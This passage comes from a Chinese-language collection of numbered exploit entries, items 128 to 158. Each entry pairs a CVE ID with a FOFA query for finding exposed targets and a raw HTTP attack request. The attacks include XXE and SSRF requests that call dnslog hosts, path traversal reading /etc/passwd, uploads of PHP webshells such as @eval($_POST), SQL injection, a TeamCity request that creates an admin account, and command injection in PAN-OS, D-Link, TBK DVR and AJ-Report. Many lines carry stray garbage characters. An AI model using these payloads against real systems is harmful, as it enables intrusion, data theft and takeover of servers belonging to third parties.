7 T% }7 L% ]1 t! h6 Z7 oAccept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data;boundary=----WebKitFormBoundaryJGgV5l5ta05yAIe0
Purpose: prefetch
) Y* C9 y5 i5 RSec-Purpose: prefetch;prerender

" u5 \( c" v, ?9 X+ q  Q------WebKitFormBoundaryJGgV5l5ta05yAIe0
Content-Disposition: form-data;name="SystemName"

BIM
2 ]( S, A% k% n' N8 ~: ^+ J------WebKitFormBoundaryJGgV5l5ta05yAIe0
9 N! ~6 i; }4 z9 c( C7 H9 `Content-Disposition: form-data;name="Params"
Content-Type: text/plain
$ w/ C) v1 t3 k' o& T9 I
+ t$ \9 v# B, V) i8 k$ `<?xml version="1.0" encoding="UTF-8"?>
9 J& i5 e& ?5 r! ?  \2 v  O<!DOCTYPE test [
3 R0 s! I5 j1 i<!ENTITY t SYSTEM "http://c2vkbwbs.dnslog.pw">
6 N1 k' D+ \8 S: A: Q" X& i' G$ ?]
$ t* ~5 f- s+ p0 K% D4 [>
$ d" b& o9 O- j4 n! a( C6 N9 w3 j, X<test>&t;</test>
------WebKitFormBoundaryJGgV5l5ta05yAIe0--
6 p" ~4 S# ^7 c( ]2 z. C% w: M' {" l
  _6 w* h8 t$ d( R" G# J; |

/ k, ?3 R0 f7 x. ~5 Y6 Z128. Adobe ColdFusion 反序列化
7 ~4 _) ^# c; g7 r" g6 oCVE-2023-38203
Adobe ColdFusion版本2018u17（以及早期版本）、2021u7（以及早期版本）和2023u1（以及早期版本）
FOFA：app="Adobe-ColdFusion"
PAYLOAD
: ?. b' |% g" y7 ~- f) K
129. Adobe ColdFusion 任意文件读取
CVE-2024-20767
FOFA：app="Adobe-ColdFusion" && title=="Error Occurred While Processing Request"
第一步，获取uuid
GET /CFIDE/adminapi/_servermanager/servermanager.cfc?method=getHeartBeat HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: */*
2 Z7 V, W. ~; O5 h5 d: q& ]Accept-Encoding: gzip, deflate
Connection: close
! t; \' U6 Q) Q" t# y

第二步，读取/etc/passwd文件
GET /pms?module=logging&file_name=../../../../../../../etc/passwd&number_of_lines=100 HTTP/1.1
Host: x.x.x.x
  @! n+ ^( E! I% a0 n& _User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
+ z7 R7 u* C5 WConnection: close
- Z' G; ^$ C% L$ f( x' ruuid: 85f60018-a654-4410-a783-f81cbd5000b9


130. Laykefu客服系统任意文件上传
" ], }6 A- ?1 a# X, _# Y. qFOFA：icon_hash="-334624619"
POST /admin/users/upavatar.html HTTP/1.1
Host: 127.0.0.1
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
/ m) F. ~* u* A7 R  T- e3 sUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.26
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary3OCVBiwBVsNuB2kR
, ^1 R' \) O1 WAccept-Encoding: gzip, deflate
+ ^; Q" s. k% A, A, \& \1 u5 jAccept-Language: zh-CN,zh;q=0.9
7 s$ X0 M" a6 ?2 {; O, aCookie: user_name=1; user_id=3
Connection: close

------WebKitFormBoundary3OCVBiwBVsNuB2kR
8 B0 b' t! x2 E! V$ n# |- P% F) E0 SContent-Disposition: form-data; name="file"; filename="1.php"
Content-Type: image/png

8 p( ?! B8 _9 j: q' ]<?php phpinfo();@eval($_POST['sec']);?>
------WebKitFormBoundary3OCVBiwBVsNuB2kR--
/ W9 s# ]$ G# O  x  E2 P

131. Mini-Tmall <=20231017 SQL注入
FOFA：icon_hash="-2087517259"
) o! Q+ Y) I2 U9 f, D后台地址：http://localhost:8080/tmall/admin
http://localhost:8080/tmall/admin/user/1/1?orderBy=7,if((length(database())=11),SLEEP(3),0)
( }) Z' m. r* i, ^4 J& q9 V: f; ^
3 r3 z) s5 t& |. e0 v3 W/ ?% f% E# U132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
1 h3 O; ~; |5 ^CVE-2024-27198
) ^- q6 ~3 T/ Q; W& zFOFA：body="Log in to TeamCity"
POST /pwned?jsp=/app/rest/users;.jsp HTTP/1.1
# ~1 x; z# ]* SHost: 192.168.40.130:8111
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
' E  l1 @0 z: C' [/ F. B8 X& mAccept: */*
Content-Type: application/json
Accept-Encoding: gzip, deflate
$ K4 [* e$ p8 z" w' r) k" b
% A  R+ y% x6 [3 L9 G& P; ~{"username": "用户名", "password": "密码", "email": "test@mydomain.com", "roles": {"role": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}]}}


CVE-2024-27199
/ y8 J6 b2 u  X! e5 v& i' A/res/../admin/diagnostic.jsp
/.well-known/acme-challenge/../../admin/diagnostic.jsp
( |9 M& W" B: J: F6 D! J# S/update/../admin/diagnostic.jsp
! P) G! x/ n, m- K% ^. T3 M
2 X9 w- l* [; y9 o- I
/ j" d3 v7 q4 C+ g2 ^- ]CVE-2024-27198-RCE.py
5 u6 k* n+ \, m5 b/ ?! ]
* u4 H( S) T4 K: h5 k4 A0 R' P133. H5 云商城 file.php 文件上传
FOFA：body="/public/qbsp.php"
/ }2 K) l* g5 D9 x0 `; }POST /admin/commodtiy/file.php?upload=1 HTTP/1.1
Host: your-ip
$ F4 K) j' w+ C+ r' ?. }User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFQqYtrIWb8iBxUCx

------WebKitFormBoundaryFQqYtrIWb8iBxUCx
9 @: u: {  K4 f9 B9 _3 l# d' uContent-Disposition: form-data; name="file"; filename="rce.php"
Content-Type: application/octet-stream
4 S; i# F2 u! J/ Q9 Z
. ?! L2 U; Z$ W1 z/ c4 |; L- j8 Q<?php system("cat /etc/passwd");unlink(__FILE__);?>
1 C7 q7 }' [: W) h------WebKitFormBoundaryFQqYtrIWb8iBxUCx--

- v/ D3 I( M1 j  a5 g* e( l( K

134. 网康NS-ASG应用安全网关index.php sql注入
0 Z' n( v% v9 L3 _CVE-2024-2330
  s$ o; d& ?4 |; iNetentsec NS-ASG Application Security Gateway 6.3版本
, h" M+ I, v) F( }FOFA：app="网康科技-NS-ASG安全网关"
POST /protocol/index.php HTTP/1.1
Host: x.x.x.x
* ^2 [4 N2 @3 e9 t9 e) mCookie: PHPSESSID=bfd2e9f9df564de5860117a93ecd82de
/ P5 H( G0 G/ N1 f& T# b3 v) X3 ^User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
5 N' r1 N6 j6 W! Q! MAccept: */*
, Y% ^2 L, K1 m& l$ pAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
. I. d1 d3 w- J9 gAccept-Encoding: gzip, deflate
8 w, n! z" |; f3 g8 c* OSec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close
Content-Type: application/x-www-form-urlencoded
" g/ h1 r! M; s1 x# \Content-Length: 263
9 _4 O8 r( l) f5 O7 H) a# S
' y. \0 E8 v; I2 j: u: rjsoncontent={"protocolType":"addmacbind","messagecontent":["{\"BandIPMacId\":\"1\",\"IPAddr\":\"eth0'and(updatexml(1,concat(0x7e,(select+version())),1))='\",\"MacAddr\":\"\",\"DestIP\":\"\",\"DestMask\":\"255.255.255.0\",\"Description\":\"Sample+Description\"}"]}
9 J: I5 r3 S4 I8 ^8 k! P' j; t1 k: t8 n
- }4 @/ ^8 p3 g2 n
135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
$ m! L# c9 B+ u# u# fCVE-2024-2022
Netentsec NS-ASG Application Security Gateway 6.3版本
1 l8 [+ G" E. H* @FOFA：app="网康科技-NS-ASG安全网关"
GET /admin/list_ipAddressPolicy.php?GroupId=-1+UNION+ALL+SELECT+EXTRACTVALUE(1,concat(0x7e,(select+md5(102103122)),0x7e)) HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

! Y9 _( F' |* _/ s0 t. B
9 F! t6 V& p6 R136. NextChat cors SSRF
CVE-2023-49785
$ p  \6 u* g% ~1 t4 V# ^9 y8 ^FOFA：title="NextChat"
8 s9 t% |- a4 GGET /api/cors/http:%2f%2fnextchat.kr9dqoau.dnslog.pw%23 HTTP/1.1
$ N% x$ A: {* s& OHost: x.x.x.x:10000
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
Accept: */*
* y1 i- T. j: F" f7 G+ WAccept-Language: en
2 \6 v9 w4 e! z6 A5 }" |+ |Accept-Encoding: gzip
0 D3 x$ h7 r. j) o
5 f0 J+ Q5 A$ X2 y
& S6 o* @4 d8 d' e137. 福建科立迅通信指挥调度平台down_file.php sql注入
+ z0 ]0 y. U' o* v7 z- \CVE-2024-2620
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/down_file.php?uuid=1%27%20AND%20(SELECT%205587%20FROM%20(SELECT(SLEEP(5)))pwaA)%20AND%20%27dDhF%27=%27dDhF HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
& U( R1 V% d: s! kAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
3 ~6 H8 J$ |/ Y$ b( `Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
  Z& \: s3 S, \0 T: L, V# N: KAccept-Encoding: gzip, deflate, br
# k4 _9 y3 a8 Q3 _7 ^! j0 KConnection: close
Cookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=uksj
Upgrade-Insecure-Requests: 1

  {5 j# o  Z9 V) v- I
4 G# k( U* U3 ?& h8 e( R138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
CVE-2024-2621
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
( W! ~2 W# |  r+ H2 gGET /api/client/user/pwd_update.php?usr_number=1%27%20AND%20(SELECT%207872%20FROM%20(SELECT(SLEEP(5)))DHhu)%20AND%20%27pMGM%27=%27pMGM&new_password=1&sign=1 HTTP/1.1
Host: x.x.x.x
+ x; {" e0 t- @  EUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
/ \' I9 U8 w6 ]! t$ M1 {! AAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
, d+ X( o, D- `" OAccept-Encoding: gzip, deflate, br
- ~' |( B$ k$ h9 D& N( `Connection: close
; L( e- @5 |( g. N4 VUpgrade-Insecure-Requests: 1


139. 福建科立讯通信指挥调度平台editemedia.php sql注入
: e2 S2 g4 i: `' q/ u$ F5 d% u% U# ZCVE-2024-2622
# a: w. x' B1 v) I% tFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/editemedia.php?enterprise_uuid=1%27%20AND%20(SELECT%203257%20FROM%20(SELECT(SLEEP(5)))JPVs)%20AND%20%27gDyM%27=%27gDyM HTTP/1.1
  ]( U  r. R% [Host: x.x.x.x
2 J2 x$ p' t5 a+ d  UUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
6 L) R; R) \: k/ I. @1 p; xAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
! U8 v8 y, b6 b# U& R8 ?' bAccept-Encoding: gzip, deflate, br
Connection: close
; V; A% k( N2 CCookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=cybk
Upgrade-Insecure-Requests: 1


140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
* w7 z/ x# G: C' }7 LCVE-2024-2566
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
* @: G* a, Y- L( MGET /api/client/get_extension_yl.php?imei=1%27%20AND%20(SELECT%207545%20FROM%20(SELECT(SLEEP(5)))Zjzw)%20AND%20%27czva%27=%27czva&timestamp=1&sign=1 HTTP/1.1
+ z+ i8 D( I) D1 OHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
* l8 y0 c. `! a% h4 a1 _Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
$ B8 b  i  S" A7 I8 q3 I; YAccept-Encoding: gzip, deflate, br
Connection: close
7 o. r) B5 d+ y9 LCookie: authcode=h8g9
0 Q3 V  m2 q0 B4 KUpgrade-Insecure-Requests: 1
0 \+ `/ F0 ]- ~! v* x# Z
1 R: C! l. W, a& {
8 X! ?" k. C, \* D7 H141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
FOFA：body="指挥调度管理平台"
& \* Z7 S7 k2 j1 W0 I4 b) H, FPOST /app/ext/ajax_users.php HTTP/1.1
Host: your-ip
  {, R* P% V# x1 G& uUser-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
. t' M$ C: ^: o2 L0 l" pContent-Type: application/x-www-form-urlencoded


dep_level=1') UNION ALL SELECT NULL,CONCAT(0x7e,md5(1),0x7e),NULL,NULL,NULL-- -
* u% M0 n, X7 a$ }- w

% U7 m9 j+ E& _' {$ M142. CMSV6车辆监控平台系统中存在弱密码
$ q9 q: ?7 M( x. ~* f) ?CVE-2024-29666
0 O- `2 r0 |- L& k) g, qFOFA：body="/808gps/"
6 E' o2 `9 u, N, L6 u/ @admin/admin
- f& r/ T+ }0 r3 Q143. Netis WF2780 v2.1.40144 远程命令执行
6 j; T, N3 z9 W4 e1 N( p& E% h% |CVE-2024-25850
FOFA：title='AP setup' && header='netis'
6 j: V# i% X! A- S/ G6 y. i- @4 }PAYLOAD
' @0 j: X) q7 ]0 E# t! @" L
5 Q- m# J& f4 }9 u144. D-Link nas_sharing.cgi 命令注入
FOFA：app="D_Link-DNS-ShareCenter"
system参数用于传要执行的命令
GET /cgi-bin/nas_sharing.cgi?user=mydlinkBRionyg&passwd=YWJjMTIzNDVjYmE&cmd=15&system=aWQ= HTTP/1.1
! |  S+ T9 {. j# oHost: x.x.x.x
: f& M# T1 K* k) z3 TUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
Connection: close
5 E9 `. f( I) A' u1 g* fAccept: */*
! N0 O& C% f( _! \/ eAccept-Language: en
Accept-Encoding: gzip

- [( Q4 @3 U/ i
145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
CVE-2024-3400
FOFA：icon_hash="-631559155"
GET /global-protect/login.esp HTTP/1.1
Host: 192.168.30.112:1005
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
8 Y* J, e- {& k7 A2 c* f. \+ `6 [7 yConnection: close
. |5 Q, v4 l; S; Y  a5 P9 D4 |3 G8 wCookie: SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/hellothere226`curl${IFS}dnslog地址`;
Accept-Encoding: gzip
% v( e* x( N# [; L3 b( A6 R# D

8 u2 u! {: o0 f( U! J( m146. MajorDoMo thumb.php 未授权远程代码执行
# a: b! [+ g  q( g) X/ xCNVD-2024-02175
& g3 P4 L% n8 ?) W0 ]8 cFOFA：app="MajordomoSL"
GET /modules/thumb/thumb.php?url=cnRzcDovL2EK&debug=1&transport=%7C%7C+%28echo+%27%5BS%5D%27%3B+id%3B+echo+%27%5BE%5D%27%29%23%3B HTTP/1.1
& U5 \8 O$ n, jHost: x.x.x.x
8 U7 m  h: f! w8 x. vUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
Connection: close


147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
CVE-2024-32399
* K; }  \5 P8 @  G' yFOFA：body="RaidenMAILD"
GET /webeditor/../../../windows/win.ini HTTP/1.1
Host: 127.0.0.1:81
# N8 z  B! ?) e  i! B+ ACache-Control: max-age=0
: e5 {3 @8 K( ~6 ?% qConnection: close


2 x$ [2 n/ S: U1 _148. CrushFTP 认证绕过模板注入
CVE-2024-4040
1 R  C& F9 U7 Q6 eFOFA：body="CrushFTP"
PAYLOAD
+ b+ v3 x- P+ s( R' N4 D$ x
$ I6 \1 a, s+ Q149. AJ-Report开源数据大屏存在远程命令执行
FOFA：title="AJ-Report"

POST /dataSetParam/verification;swagger-ui/ HTTP/1.1
Host: x.x.x.x
5 l, S3 a- F8 t1 ^, {; wUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
' {% U% g9 u3 S6 BAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
1 X3 s* m& x5 zAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
( q  q2 S9 x+ K3 g2 h3 a" F5 MContent-Type: application/json;charset=UTF-8
Connection: close
3 _* o. |0 Q* E% p& A1 n3 Q: g
/ w* S9 D, Z! v6 r8 z{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"ipconfig\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}

8 {5 ~1 ]/ V# H; ^% G150. AJ-Report 1.4.0 认证绕过与远程代码执行
FOFA：title="AJ-Report"
POST /dataSetParam/verification;swagger-ui/ HTTP/1.1
Host: x.x.x.x
8 g9 s$ o$ ^, D$ C4 B+ TUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
) \* a' u+ @* n: M7 h! o" [Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
. p0 ^* }, N& J1 b: g/ [! V. B6 cContent-Type: application/json;charset=UTF-8
+ e" R. R! L# X7 c" Z3 g. AConnection: close
Content-Length: 339

. w1 x9 a7 R' ?" j7 ~, w" n{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"id\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}
( ^0 G% R' {3 ~0 a
3 Z( H- k8 Q* [- Q4 I1 H8 o# |- _( v
8 Q* }" l2 f/ w, T4 A' K& R( i151. AJ-Report 1.4.1 pageList sql注入
FOFA：title="AJ-Report"
GET /;swagger-ui/dataSource/pageList?showMoreSearch=false&pageNumber=1&pageSize=10 HTTP/1.1
Host: x.x.x.x
6 ~3 A! w# m( W8 v* LUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Accept-Encoding: gzip

% t3 x/ d8 r# I0 ~8 C
152. Progress Kemp LoadMaster 远程命令执行
CVE-2024-1212
0 h' T+ ?' X$ b( H9 GLoadMaster <= 7.2.59.2 (GA)
9 a  w' d8 t  n" O6 v9 S& CLoadMaster<=7.2.54.8 (LTSF)
. p) ^" |; A+ ?5 xLoadMaster <= 7.2.48.10 (LTS)
FOFA：body="LoadMaster"
4 Q+ T; p9 U! J) V: bJztsczsnOmRvZXNub3RtYXR0ZXI=是';ls;':doesnotmatter的base64编码
GET /access/set?param=enableapi&value=1 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/604.1 (KHTML, like Gecko) Version/9.1.2 Safari/604.1
/ U# w+ M- h6 t: N0 zConnection: close
$ ?* h. Z6 c1 b/ H, x+ AAccept: */*
8 ]  G4 F" @1 V% ]3 v, U( dAccept-Language: en
Authorization: Basic JztsczsnOmRvZXNub3RtYXR0ZXI=
" ]. @  u7 c* u! pAccept-Encoding: gzip


153. gradio任意文件读取
CVE-2024-1561FOFA：body="__gradio_mode__"
第一步，请求/config文件获取componets的id
http://x.x.x.x/config


3 \0 E/ S3 T5 A第二步，将/etc/passwd的内容写入到一个临时文件
2 v( V. [( ?8 R. m7 h' PPOST /component_server HTTP/1.1
, h$ U9 D# h: w8 V6 |9 wHost: x.x.x.x
  M1 j4 _- f; A. c! GUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.3 Safari/605.1.1514.1.3 Ddg/14.1.3
% z! ?* w; T& l& V5 i8 H; bConnection: close
5 Y& N; j: `- b7 x( v9 I% BContent-Length: 115
' e6 Q0 i, G: ?Content-Type: application/json
- g  X+ e! m! s4 LAccept-Encoding: gzip
! {) ^7 {2 N' H1 a0 a3 o+ _
{"component_id": "1","data": "/etc/passwd","fn_name": "move_resource_to_block_cache","session_hash": "aaaaaaaaaaa"}
# L" D% [7 w# X

9 q- o: P3 Z+ j* A/ ~第三步访问
$ y; |7 m( `( K7 j) y3 k* @/ F  Hhttp://x.x.x.x/file=/tmp/gradio/ ... 8cdf49755073/passwd


154. 天维尔消防救援作战调度平台 SQL注入
CVE-2024-3720FOFA：body="天维尔信息科技股份有限公司" && title=="登入"
POST /twms-service-mfs/mfsNotice/page HTTP/1.1
3 j! G& o8 V8 D! H: e) dHost: x.x.x.x
; A" `0 m! ^* ~  p" rContent-Length: 106
Cache-Control: max-age=0
7 n% L' G# e6 x8 l. WUpgrade-Insecure-Requests: 1
" F" [& g  }+ f9 x3 KOrigin: http://x.x.x.x
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://x.x.x.x/twms-service-mfs/mfsNotice/page
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
9 j% H) ]+ e+ g6 P2 oConnection: close
( w7 d$ c5 q# y) Q& l
& {; i# Q- A8 _* c) D9 n  F{"currentPage":1,"pageSize":19,"query":{"gsdwid":"1f95b3ec41464ee8b8f223cc41847930') AND 7120=(SELECT 7120 FROM PG_SLEEP(5)) AND ('dZAi'='dZAi"},"hgubmt748n4":"="}


155. 六零导航页 file.php 任意文件上传
CVE-2024-34982
FOFA：title=="上网导航 - LyLme Spage"
POST /include/file.php HTTP/1.1
Host: x.x.x.x
3 ]. Z- c/ U  R8 [; P4 xUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
9 l; {* K3 o1 ?1 g; g; wConnection: close
5 M  \7 l' M6 }# o* |5 r* PContent-Length: 232
Accept: application/json, text/javascript, */*; q=0.01
4 a! @% ^' K6 `' B( JAccept-Encoding: gzip, deflate, br
/ X3 o- @' b; M! uAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
; Q# p" @, G2 Z& e/ tContent-Type: multipart/form-data; boundary=---------------------------qttl7vemrsold314zg0f
% y# x1 w0 o# U- b$ LX-Requested-With: XMLHttpRequest

-----------------------------qttl7vemrsold314zg0f
Content-Disposition: form-data; name="file"; filename="test.php"
! \' q3 T2 u$ e' C) }$ F  M% ^Content-Type: image/png
! H$ e5 ]9 f: L' l
: o* P. R- v9 t2 _<?php phpinfo();unlink(__FILE__);?>
-----------------------------qttl7vemrsold314zg0f--
9 k+ o0 b8 _% M- D
+ I6 n+ v3 d0 g# m- |7 n
$ o% Q" @* `+ q7 l, {访问回显文件http://x.x.x.x/files/upload/img_664ab7fd14d2c.php

156. TBK DVR-4104/DVR-4216 操作系统命令注入
CVE-2024-3721
& q$ f6 |) ^# [4 X. X2 P$ b- rFOFA："Location: /login.rsp"
) u& \/ N+ U  Y4 g! J·TBK DVR-4104
·TBK DVR-4216
. i, w8 `' J. R( R0 mcurl "http://<dvr_host>:<port>/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=<URL_ENCODED_SHELL_COMMAND>" -H "Cookie: uid=1"


/ _: F7 ~+ F' p6 g. |2 ?$ O) gPOST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=echo%3B%20echo%20asrgkjh0%20%3E%20%2Fvar%2Fexample.txt%3B%20ls%20-l%20%2Fvar%3B%20echo%20----------------%3B%20cat%20%2Fvar%2Fexample.txt%3B HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh;T2lkQm95X0c= Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
8 ~: P" d3 H- L: eConnection: close
% c  M" w4 g3 vContent-Length: 0
Cookie: uid=1
  M5 F/ {  n+ e( g7 {Accept-Encoding: gzip


/ \# n; y/ o$ G. X  O157. 美特CRM upload.jsp 任意文件上传
CNVD-2023-06971
! z0 T: N' g" l* q1 DFOFA：body="/common/scripts/basic.js"
POST /develop/systparam/softlogo/upload.jsp?key=null&form=null&field=null&filetitle=null&folder=null HTTP/1.1
Host: x.x.x.x
7 p8 u* L' f& i1 e6 G6 EUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
- d/ u- {0 p- V2 Z0 DContent-Length: 709
" }- B0 g& U2 k* hAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
* m6 G8 y; y- J( }9 x1 D" ZAccept-Encoding: gzip, deflate
, n6 C7 d9 F. VAccept-Language: zh-CN,zh;q=0.9
Cache-Control: max-age=0
" b- Q  O0 h9 c, i- A& bConnection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1imovELzPsfzp5dN
Upgrade-Insecure-Requests: 1
7 }; f7 b5 v* a; S+ i! k, |
( W, z7 Y7 A7 f; j+ X) ]------WebKitFormBoundary1imovELzPsfzp5dN
$ K5 N6 b0 N- `! E. ?Content-Disposition: form-data; name="file"; filename="kjldycpvjrm.jsp"
Content-Type: application/octet-stream
; |2 _4 |3 g/ [- w
nyhelxrutzwhrsvsrafb
------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="key"

& j: q3 K  V9 J* Dnull
  w0 B: q# D7 t( _5 q# N------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="form"

. _6 k, l) k: k' v: tnull
------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="field"

7 @- |, W8 ?/ I& X5 pnull
------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="filetitile"

null
------WebKitFormBoundary1imovELzPsfzp5dN
- J6 K" n  C9 ^Content-Disposition: form-data; name="filefolder"
# ^% Y& ]) e5 L$ U( n
9 G  b2 H# F8 x' z3 w( n1 |null
------WebKitFormBoundary1imovELzPsfzp5dN--

8 P. P: A$ }  J& M; z5 o7 y" q
http://x.x.x.x/userfile/default/userlogo/kjldycpvjrm.jsp

' G+ S  h/ P6 x% s158. Mura-CMS-processAsyncObject存在SQL注入
CVE-2024-32640
FOFA："Generator: Masa CMS"
POST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
Host: {{Hostname}}
